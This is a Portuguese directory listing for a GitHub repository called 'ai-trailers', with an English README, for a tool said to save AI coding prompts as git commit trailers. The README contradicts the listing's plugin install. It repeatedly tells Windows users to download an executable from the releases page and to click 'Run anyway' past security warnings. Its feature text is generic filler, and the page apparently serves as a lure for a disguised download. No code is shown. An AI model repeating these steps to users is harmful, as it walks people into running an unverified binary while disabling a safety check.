ai-trailers
josefaexistential382/ai-trailers
Preserve prompts de IA no histórico git como trailers de commit
Ver no GitHubAgent que captura prompts de IA em trailers de commit git, preservando o histórico de intenção e contexto do código gerado. Integra-se com ferramentas como Claude Code, Gemini e Codex para manter um registro estruturado de todas as mudanças assistidas por IA diretamente no histórico git.
Instalação
npx convez-ai josefaexistential382/ai-trailers1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Rastrear prompts de IA em commits para auditoria e contexto histórico
- Revisar decisões de desenvolvimento assistido por IA sem consultar logs de chat
- Documentar qual ferramenta IA foi usada em cada mudança de código
Veredito

Solução prática para times que usam IA na codificação e precisam manter rastreabilidade. Abordagem simples via git trailers é elegante, mas o suporte atual limitado a Windows e IA tools específicas reduz sua aplicabilidade geral.
README
A tradução para o português deste README ainda está na fila.
🧾 ai-trailers - Keep AI prompts in git history
🚀 What it does
ai-trailers helps you save AI coding prompts in your git commit messages as standard trailers.
It works with:
- Claude Code
- Kiro
- Gemini
- Codex
It keeps the prompt record close to the code, so you can review what the AI did later without digging through chat logs.
💻 Windows download
- Open the ai-trailers releases page
- Find the latest release
- Download the Windows file from the release assets
- Open the file to run it
If Windows shows a security prompt, choose the option that lets you run the app.
🛠️ Before you start
You need:
- A Windows PC
- Access to Git
- A commit message editor or Git tool
- An AI coding tool such as Claude Code, Kiro, Gemini, or Codex
The app is made for people who want to keep prompt history inside git, where it stays linked to the work it helped create.
📦 How to install on Windows
- Go to the releases page
- Download the latest Windows build
- Save the file to your Downloads folder
- Double-click the file to start it
- If needed, allow Windows to finish opening it
If the file is in a ZIP folder, right-click it and choose Extract All first.
🧭 How to use it
ai-trailers adds AI prompt details to commit messages as git trailers.
A typical flow looks like this:
- Use your AI coding tool to help write or change code
- Copy the prompt or note that describes the task
- Add the trailer when you make the commit
- Push the commit to your git repo
This gives you a clean record of what the AI was asked to do.
📝 Example commit message
Here is a simple example:
feat: add search filter
AI-Prompt: Add a filter so users can narrow results by name AI-Tool: Claude Code
Git trailers sit at the bottom of the commit message. They use a plain text format that is easy to read and works well with git history.
🔍 Why use git trailers
Git trailers help you store extra details in a commit in a standard way.
With ai-trailers, you can:
- Track which AI tool helped with a change
- Store the prompt that led to the code
- Review work later with more context
- Keep a cleaner project history
- Share useful commit details with your team
This is useful when a project has many AI-assisted changes and you want a clear record of how each one was made.
⚙️ Basic setup
After you open the app, use it with your normal git workflow.
- Start your change in your editor
- Use your AI coding tool
- Write your commit message
- Add the prompt trailer fields
- Commit as usual
You do not need to change how git works. You just add a little more detail to the commit message.
🧩 Supported AI tools
ai-trailers is built for common AI coding tools used during development:
- Claude Code for prompt-driven coding help
- Kiro for AI-assisted coding work
- Gemini for task help and code changes
- Codex for code generation and edits
The app keeps the prompt record in a form that fits normal git history.
📁 What gets stored
A commit can hold details like:
- The prompt used
- The AI tool name
- The related task
- Extra notes about the change
This helps you understand why a code change exists when you return to it later.
👀 Good ways to use it
Use ai-trailers when you want to:
- Remember the exact prompt that shaped a change
- Compare AI help across commits
- Audit work done with AI tools
- Keep a team record of prompt use
- Make future code review easier
It works well for small fixes, large features, and refactors.
🧰 Common file and folder use
You may see this app used alongside:
- Your project folder
- Git commit history
- Text editors
- Terminal tools
- AI coding assistants
It fits into a normal Windows setup without changing your main tools.
🪟 Windows tips
If the app does not open right away:
- Check your Downloads folder
- Make sure the file finished downloading
- Right-click the file and choose Open
- If needed, choose Run anyway from Windows
- Try again after closing other pop-up windows
If you use a ZIP file, extract it first before opening the app.
🔗 Download again
Use this link to visit the download page and get the latest Windows release:
📚 Repo details
- Repository: ai-trailers
- Topic areas: ai, ai-agents, claude-code, codex, gemini, git, kiro
- Main job: save AI prompts as git trailers in commit messages
- Target user: Windows users who want a simple way to keep AI prompt history with code